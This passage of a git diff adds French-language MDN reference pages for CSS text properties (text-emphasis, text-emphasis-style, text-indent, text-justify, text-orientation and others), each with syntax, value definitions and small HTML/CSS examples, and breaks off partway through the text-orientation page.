+   <td rowspan="2">au dessus</td>
+   <td rowspan="2">à droite</td>
+   <td rowspan="2"><img alt="Emphasis marks appear over each emphasized character in horizontal Japanese text." src="https://drafts.csswg.org/css-text-decor-3/images/text-emphasis-ja.png" style="height: 28px; width: 225px;" title="Emphasis (shown in blue for clarity) applied above a fragment of Japanese text"></td>
+   <td rowspan="3"><img alt="Emphasis marks appear on the right of each emphasized character in vertical Japanese text." src="https://drafts.csswg.org/css-text-decor-3/images/text-emphasis-v.gif" style="height: 89px; width: 34px;" title="Emphasis applied on the right of a fragment of Japanese text"></td>
+  </tr>
+  <tr>
+   <td>Mongolian</td>
+  </tr>
+  <tr>
+   <td>Chinese</td>
+   <td>en dessous</td>
+   <td>à droite</td>
+   <td><img alt="Emphasis marks appear below each emphasized character in horizontal Simplified Chinese text." src="https://drafts.csswg.org/css-text-decor-3/images/text-emphasis-zh.gif" style="height: 28px; width: 133px;" title="Emphasis (shown in blue for clarity) applied below a fragment of Chinese text"></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété <code>text-emphasis-position</code> ne peut pas être définie (et donc ne peut pas être redéfinie) avec la propriété raccourcie {{cssxref("text-emphasis")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code><dfn>over</dfn></code></dt>
+ <dd>Les marques sont dessinées au-dessus du texte lorsqu'il est écrit en mode horizontal.</dd>
+ <dt><code><dfn>under</dfn></code></dt>
+ <dd>Les marques sont dessinées en-dessous du texte lorsqu'il est écrit en mode horizontal.</dd>
+ <dt><code><dfn>right</dfn></code></dt>
+ <dd>Les marques sont dessinées à droite du texte lorsqu'il est écrit en mode vertical.</dd>
+ <dt><code><dfn>left</dfn></code></dt>
+ <dd>Les marques sont dessinées à gauche du texte lorsqu'il est écrit en mode vertical.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Masquer_les_marques">Masquer les marques</h3>
+
+<p>Certains éditeurs préfèrent masquer les marques d'emphase lorsque celles-ci entre en conflit avec les annotations ruby. On peut utiliser la règle suivante :</p>
+
+<pre class="brush: css">ruby {
+  text-emphasis: none;
+}
+</pre>
+
+<p>D'autres préfèrent masquer le contenu ruby et privilégier les marques d'emphase. On peut obtenir cet effet avec les déclarations suivantes :</p>
+
+<pre class="brush: css">em {
+ /* On utilise text-emphasis pour les &lt;em&gt; */
+  text-emphasis: dot;
+}
+
+em rt {
+ /* On masque le ruby dans les éléments &lt;em&gt; */
+  display: none;
+}</pre>
+
+<h3 id="Exemple_live">Exemple <em>live</em></h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;&lt;em&gt;Coucou&lt;/em&gt;, je suis &lt;em&gt;là&lt;/em&gt;&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">em {
+  text-emphasis-style: sesame;
+  text-emphasis-position: under right;
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_live","100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-emphasis-position-property', 'text-emphasis')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-emphasis-position")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("text-emphasis-style")}}</li>
+ <li>{{cssxref("text-emphasis-color")}}</li>
+ <li>{{cssxref("text-emphasis")}}</li>
+</ul>
diff --git a/files/fr/web/css/text-emphasis-style/index.html b/files/fr/web/css/text-emphasis-style/index.html
new file mode 100644
index 0000000000..950aef3ddc
--- /dev/null
+++ b/files/fr/web/css/text-emphasis-style/index.html
@@ -0,0 +1,115 @@
+---
+title: text-emphasis-style
+slug: Web/CSS/text-emphasis-style
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-emphasis-style
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-emphasis-style</code></strong> définit le type d'emphase utilisée. Celui-ci peut également être (re)défini via la propriété raccourcie {{cssxref("text-emphasis")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeur initiale */
+/* Aucune marque d'emphase */
+text-emphasis-style: none;
+
+/*  Valeur distincte */
+text-emphasis-style: 'x';
+text-emphasis-style: '点';
+text-emphasis-style: '\25B2';
+text-emphasis-style: '*';
+
+/* Valeurs avec un mot-clé */
+text-emphasis-style: filled;
+text-emphasis-style: open;
+text-emphasis-style: filled sesame;
+text-emphasis-style: open sesame;
+
+/* Valeurs globales */
+text-emphasis-style: inherit;
+text-emphasis-style: initial;
+text-emphasis-style: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Aucune marque d'emphase.</dd>
+ <dt><code>filled</code></dt>
+ <dd>La forme est remplie avec une couleur unie. Si <code>filled</code> ou <code>open</code> est absent, ce sera la valeur par défaut.</dd>
+ <dt><code>open</code></dt>
+ <dd>La forme est vide.</dd>
+ <dt><code>dot</code></dt>
+ <dd>Cette valeur permet d'afficher des marques en forme de points. Le point rempli est le caractère <code>'•'</code> (<code>U+2022</code>) et le point vide est le caractère <code>'◦'</code> (<code>U+25E6</code>).</dd>
+ <dt><code>circle</code></dt>
+ <dd>Cette valeur permet d'afficher des marques en forme de cercles (plus grands que les points). Le cercle rempli est le caractère <code>'●'</code> (<code>U+25CF</code>) et celui pour le cercle ouvert est <code>'○'</code> (<code>U+25CB</code>).</dd>
+ <dt><code>double-circle</code></dt>
+ <dd>Cette valeur permet d'afficher des marques en forme de doubles cercles. Le double-cercle rempli est le caractère <code>'◉'</code> (<code>U+25C9</code>), et le double-cercle ouvert est le caractère <code>'◎'</code> (<code>U+25CE</code>).</dd>
+ <dt><code>triangle</code></dt>
+ <dd>Cette valeur permet d'afficher des marques en forme de triangles. Le triangle rempli correspond au caractère <code>'▲'</code> (<code>U+25B2</code>) et le triangle ouvert au caractère <code>'△'</code> (<code>U+25B3</code>).</dd>
+ <dt><code>sesame</code></dt>
+ <dd>Cette valeur permet d'afficher des marques en forme de points sésame :<code>'﹅'</code> (<code>U+FE45</code>) pour le caractère rempli et <code>'﹆'</code> (<code>U+FE46</code>) pour le caractère ouvert.</dd>
+ <dt><code>&lt;string&gt;</code></dt>
+ <dd>Utilise la chaîne fournie comme marque. Attention, l'agent utilisateur peut tronquer la chaîne ou choisir d'ignorer les chaînes qui ont plus d'un graphème. Il est donc conseillé de n'utiliser qu'une seule lettre.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;&lt;em&gt;Coucou&lt;/em&gt;, je suis &lt;em&gt;là&lt;/em&gt;&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css"><code>em {
+  text-emphasis-style: sesame;
+}</code></pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-emphasis-style-property', 'text-emphasis')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-emphasis-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref('text-emphasis-color')}}</li>
+ <li>{{cssxref('text-emphasis')}}.</li>
+ <li>{{cssxref('text-emphasis-position')}}</li>
+</ul>
diff --git a/files/fr/web/css/text-emphasis/index.html b/files/fr/web/css/text-emphasis/index.html
new file mode 100644
index 0000000000..cf604b5fd5
--- /dev/null
+++ b/files/fr/web/css/text-emphasis/index.html
@@ -0,0 +1,135 @@
+---
+title: text-emphasis
+slug: Web/CSS/text-emphasis
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-emphasis
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-emphasis</code></strong> est une propriété raccourcie qui permet de définir {{cssxref("text-emphasis-style")}} et {{cssxref("text-emphasis-color")}} avec une seule déclaration. Cette propriété appliquera les marques d'emphase définies sur chaque caractères du texte de l'élément sauf pour les séparateurs (comme les espaces) et les caractères de contrôle.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-emphasis.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La propriété <code>text-emphasis</code> est différente de {{cssxref("text-decoration")}}. La propriété <code>text-decoration</code> n'a pas d'héritage et la décoration est appliquée sur tout l'élément. Cependant, <code>text-emphasis</code> a un héritage et il est donc possible de changer la marque selon les « descendants » d'un élément.</p>
+
+<p>La taille du symbole d'emphase, comme celle des symboles Ruby, représente environ 50% de la taille de la police du texte. <code>text-emphasis</code> peut modifier la hauteur de la ligne lorsque l'interlignage n'est pas suffisant pour placer les marques.</p>
+
+<div class="note">
+<p><strong>Note :</strong> <code>text-emphasis</code> ne réinitialise pas la valeur de {{cssxref("text-emphasis-position")}}. En effet, bien que la couleur et le style des marques puisse varier, il est très peu probable qu'on change leurs positions au cours du même document.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css  no-line-numbers">/* Valeur initiale */
+text-emphasis: none; /* Pas de marque */
+
+/* Chaîne de caractères */
+/* Type &lt;string&gt;        */
+text-emphasis: 'x';
+text-emphasis: '点';
+text-emphasis: '\25B2';
+text-emphasis: '*' #555;
+/* À ne pas utiliser, cela pourra être */
+/* considéré comme 't' uniquement      */
+text-emphasis: 'toto';
+
+/* Valeurs avec mot(s)-clé(s) */
+text-emphasis: filled;
+text-emphasis: open;
+text-emphasis: filled sesame;
+text-emphasis: open sesame;
+
+/* Valeurs avec mots-clés, combinés à une couleur */
+text-emphasis: filled sesame #555;
+
+/* Valeurs globales */
+text-emphasis: inherit;
+text-emphasis: initial;
+text-emphasis: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Il n'y aura pas de marques d'emphase appliquées.</dd>
+ <dt><code>filled</code></dt>
+ <dd>La forme de la marque est remplie avec une couleur unie. Si aucun des mots-clés parmi <code>filled</code> ou <code>open</code> n'est présent, ce sera la valeur par défaut.</dd>
+ <dt><code>open</code></dt>
+ <dd>La forme de la marque est évidée.</dd>
+ <dt><code>dot</code></dt>
+ <dd>La forme de la marque est un petit cercle. Le cercle plein est le caractère <code>'•'</code> (<code>U+2022</code>) et celui qui est évidé est <code>'◦'</code> (<code>U+25E6</code>).</dd>
+ <dt><code>circle</code></dt>
+ <dd>La forme de la marque est un grand cercle. Le cercle plein est le caractère <code>'●'</code> (<code>U+25CF</code>) et celui du cercle évidé est <code>'○'</code> (<code>U+25CB</code>). Lorsqu'aucune forme n'est spécifiée, c'est la forme par défaut utilisée pour les modes d'écriture horizontaux.</dd>
+ <dt><code>double-circle</code></dt>
+ <dd>La forme de la marque est un double-cercle. Le double-cercle plein est le caractère <code>'◉'</code> (<code>U+25C9</code>), celui du double-cercle évidé est <code>'◎'</code> (<code>U+25CE</code>).</dd>
+ <dt><code>triangle</code></dt>
+ <dd>La forme de la marque est un triangle. Le triangle plein correspond au caractère <code>'▲'</code> (<code>U+25B2</code>) et celui du triangle évidé correspond à <code>'△'</code> (<code>U+25B3</code>).</dd>
+ <dt><code>sesame</code></dt>
+ <dd>La forme de la marque est un sésame. Le sésame plein correspond au caractère <code>'﹅'</code> (<code>U+FE45</code>) et celui du sésame évidé correspond à <code>'﹆'</code> (<code>U+FE46</code>). Lorsqu'aucune forme n'a été définie, c'est la forme par défaut qui est utilisée pour les marques d'emphase pour les modes d'écriture verticaux.</dd>
+ <dt><code>&lt;string&gt;</code></dt>
+ <dd>La marque affichée sera la chaîne de caractères. Attention à n'utiliser que des chaînes d'un seul caractère. L'agent utilisateur peut tronquer ou ignorer les chaînes qui comportent plusieurs graphèmes.</dd>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Définit la couleur utilisée pour la marque. Si aucune couleur n'est définie, la valeur utilisée par défaut sera <code>currentColor</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;&lt;em&gt;Coucou&lt;/em&gt;, je suis &lt;em&gt;là&lt;/em&gt;&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">em {
+  text-emphasis: sesame blue;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-emphasis-property', 'text-emphasis')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-emphasis")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref('text-emphasis-style')}}</li>
+ <li>{{cssxref('text-emphasis-color')}}</li>
+ <li>{{cssxref('text-emphasis-position')}}</li>
+</ul>
diff --git a/files/fr/web/css/text-indent/index.html b/files/fr/web/css/text-indent/index.html
new file mode 100644
index 0000000000..de7e3f2b7f
--- /dev/null
+++ b/files/fr/web/css/text-indent/index.html
@@ -0,0 +1,144 @@
+---
+title: text-indent
+slug: Web/CSS/text-indent
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-indent
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-indent</code></strong> définit la longueur qui doit être laissée avant le début de la première ligne d'un élément contenant du texte.</p>
+
+<p>L'espacement horizontal se fait en accord avec la bord gauche (ou droit pour les dispositions de droite à gauche) de l'élément contenant le texte. Par défaut, cela ne contrôle que l'indentation de la première ligne du bloc mais les mots-clés <code>hanging</code> et <code>each-line</code> peuvent être utilisés pour modifier ce comportement.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-indent.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+text-indent: 3mm;
+text-indent: 40px;
+
+/* Valeurs de pourcentages */
+/* relatives à la largeur  */
+/* du bloc englobant       */
+/* Type &lt;percentage&gt;       */
+text-indent: 15%;
+
+/* Valeurs avec un mot-clé */
+text-indent: 5em each-line;
+text-indent: 5em hanging;
+text-indent: 5em hanging each-line;
+
+/* Valeurs globales */
+text-indent: inherit;
+text-indent: initial;
+text-indent: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>L'indentation est définie de façon absolue avec une longueur ({{cssxref("&lt;length&gt;")}}). On peut utiliser des valeurs négatives. Voir la page sur {{cssxref("&lt;length&gt;")}} pour les différentes unités possibles.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>L'indentation est définie en proportion de la largeur du bloc englobant (type {{cssxref("&lt;percentage&gt;")}}).</dd>
+ <dt><code>each-line</code> {{experimental_inline}}</dt>
+ <dd>L'indentation n'affecte que la première ligne du bloc et chaque ligne située après un saut de ligne forcé. Cela n'affecte pas les lignes situées après un retour à la ligne automatique (<em>wrap</em>).</dd>
+ <dt><code>hanging</code> {{experimental_inline}}</dt>
+ <dd>Inverse les lignes indentées. Toutes les lignes, sauf la première, seront indentées.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Indentation_simple">Indentation simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy
+nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.&lt;/p&gt;
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy
+nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.&lt;/p&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p {
+  text-indent: 5em;
+  background: powderblue;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Indentation_simple','100%','100%') }}</p>
+
+<h3 id="Indentation_proportionnelle">Indentation proportionnelle</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy
+nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.&lt;/p&gt;
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy
+nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.&lt;/p&gt; </pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">p {
+  text-indent: 30%;
+  background: plum;
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Indentation_proportionnelle','100%','100%')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#text-indent-property', 'text-indent')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Ajout des mots-clés <code>hanging</code> et <code>each-line</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'text-indent')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>text-indent</code> peut être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#indentation-prop', 'text-indent')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>The behavior with <code>display: inline-block</code> and anonymous block boxes have been explicitly defined.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#text-indent', 'text-indent')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-indent")}}</p>
diff --git a/files/fr/web/css/text-justify/index.html b/files/fr/web/css/text-justify/index.html
new file mode 100644
index 0000000000..65e314a68d
--- /dev/null
+++ b/files/fr/web/css/text-justify/index.html
@@ -0,0 +1,116 @@
+---
+title: text-justify
+slug: Web/CSS/text-justify
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-justify
+---
+<div>{{CSSRef}}</div>
+
+<p>la propriété CSS <strong><code>text-justify</code></strong> définit le type de justification à appliquer au texte justifié (par exemple avec {{cssxref("text-align")}}<code>: justify;</code>).</p>
+
+<pre class="brush: css no-line-numbers">text-justify: none;
+text-justify: auto;
+text-justify: inter-word;
+text-justify: inter-character;
+text-justify: distribute;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>text-justify</code> peut être définie grâce à l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Le texte ne sera pas justifié— cela aura le même effet que de ne pas définir {{cssxref("text-align")}}, mais cela peut se révéler utile pour activer ou désactiver globalement la justification.</dd>
+ <dt><code>auto</code></dt>
+ <dd>
+ <p>Le navigateur choisira la meilleure justification pour la situation, en se basant sur le rapport entre performance et qualité, mais également sur la valeur la plus appropriée par rapport à la langue (français, langues CJK, etc.). C'est la propriété par défaut, qui est appliquée lorsque <code>text-justify</code> n'est pas définie.</p>
+ </dd>
+ <dt><code>inter-word</code></dt>
+ <dd>Le texte est justifié en ajustant les espaces entre les mots (en faisant varier {{cssxref("word-spacing")}}) ; cette propriété est appropriée pour les langues qui séparent les mots avec des espaces, comme le Français ou le Coréen.</dd>
+ <dt><code>inter-character</code></dt>
+ <dd>Le texte est justifié en ajustant les espaces entre les caractères (en faisant varier {{cssxref("letter-spacing")}}) ;  cette propritété est plus appropriée pour des langues comme le Japonais.</dd>
+ <dt><code>distribute</code> {{deprecated_inline}}</dt>
+ <dd>Même effet que <code>inter-character</code> ; cette valeur sert uniquement à de fins de compatibilité.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;p class="none"&gt;&lt;code&gt;text-justify: none&lt;/code&gt; — Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc ornare maximus vehicula. Duis nisi velit, dictum id mauris vitae, lobortis pretium quam. Quisque sed nisi pulvinar, consequat justo id, feugiat leo. Cras eu elementum dui.&lt;/p&gt;
+&lt;p class="auto"&gt;&lt;code&gt;text-justify: auto&lt;/code&gt; — Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc ornare maximus vehicula. Duis nisi velit, dictum id mauris vitae, lobortis pretium quam. Quisque sed nisi pulvinar, consequat justo id, feugiat leo. Cras eu elementum dui.&lt;/p&gt;
+&lt;p class="dist"&gt;&lt;code&gt;text-justify: distribute&lt;/code&gt; — Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc ornare maximus vehicula. Duis nisi velit, dictum id mauris vitae, lobortis pretium quam. Quisque sed nisi pulvinar, consequat justo id, feugiat leo. Cras eu elementum dui.&lt;/p&gt;
+&lt;p class="word"&gt;&lt;code&gt;text-justify: inter-word&lt;/code&gt; — Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc ornare maximus vehicula. Duis nisi velit, dictum id mauris vitae, lobortis pretium quam. Quisque sed nisi pulvinar, consequat justo id, feugiat leo. Cras eu elementum dui.&lt;/p&gt;
+&lt;p class="char"&gt;&lt;code&gt;text-justify: inter-character&lt;/code&gt; — Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc ornare maximus vehicula. Duis nisi velit, dictum id mauris vitae, lobortis pretium quam. Quisque sed nisi pulvinar, consequat justo id, feugiat leo. Cras eu elementum dui.&lt;/p&gt;</pre>
+
+<pre class="brush: css">p {
+  font-size: 1.5em;
+  border: 1px solid black;
+  padding: 10px;
+  width: 95%;
+  margin: 10px auto;
+  text-align: justify;
+}
+
+.none {
+  text-justify: none;
+}
+
+.auto {
+  text-justify: auto;
+}
+
+.dist {
+  text-justify: distribute;
+}
+
+.word {
+  text-justify: inter-word;
+}
+
+.char {
+  text-justify: inter-character;
+}</pre>
+
+<p>{{EmbedLiveSample("Exemples","100%",400)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#text-justify-property', 'text-justify')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<div>{{Compat("css.properties.text-justify")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("text-align")}}</li>
+</ul>
diff --git a/files/fr/web/css/text-orientation/index.html b/files/fr/web/css/text-orientation/index.html
new file mode 100644
index 0000000000..adf52e134b
--- /dev/null
+++ b/files/fr/web/css/text-orientation/index.html
@@ -0,0 +1,107 @@
+---
+title: text-orientation
+slug: Web/CSS/text-orientation
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-orientation
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-orientation</code></strong> définit l'orientation du texte sur une ligne. Cette propriété n'a d'effet qu'en mode vertical (autrement dit, quand {{cssxref("writing-mode")}} n'est pas <code>horizontal-tb</code>). Elle est utile pour contrôler l'affichage de l'écriture pour les langues dont le script est vertical. Elle permet aussi de gérer les en-têtes de tableaux verticaux.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-orientation.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+text-orientation: mixed;
+text-orientation: upright;
+text-orientation: sideways-right;
+text-orientation: sideways-left;
+text-orientation: sideways;
+text-orientation: use-glyph-orientation;
+
+/* Valeurs globales */
+text-orientation: inherit;
+text-orientation: initial;
+text-orientation: unset;
+</pre>
+
+<p>La propriété <code>text-orientation</code> peut valoir l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>mixed</code></dt>
+ <dd>Ce mot-clé permet de tourner les caractères de 90° dans le sens des aiguilles d'une montre pour les scripts horizontaux, les glyphes des scripts verticaux sont affichés normalement. C'est la valeur par défaut.</dd>
+ <dt><code>upright</code></dt>
+ <dd>Ce mot-clé permet d'afficher les caractères des scripts horizontaux normalement et d'afficher les glyphes des scripts verticaux « debout ». Ce mot-clé implique que tous les caractères soient considérés comme <em>ltr</em> (<em>left-to-right</em> ou gauche à droite). La valeur utilisée pour {{cssxref("direction")}} sera <code>ltr</code>, quelle que soit celle définie par l'utilisateur.</dd>
+ <dt><code>sideways</code></dt>
+ <dd>Ce mot-clé permet d'afficher les caractères comme s'ils étaient disposés horizontalement et que la ligne de base était tournée de 90° dans le sens des aiguilles d'une montre.</dd>
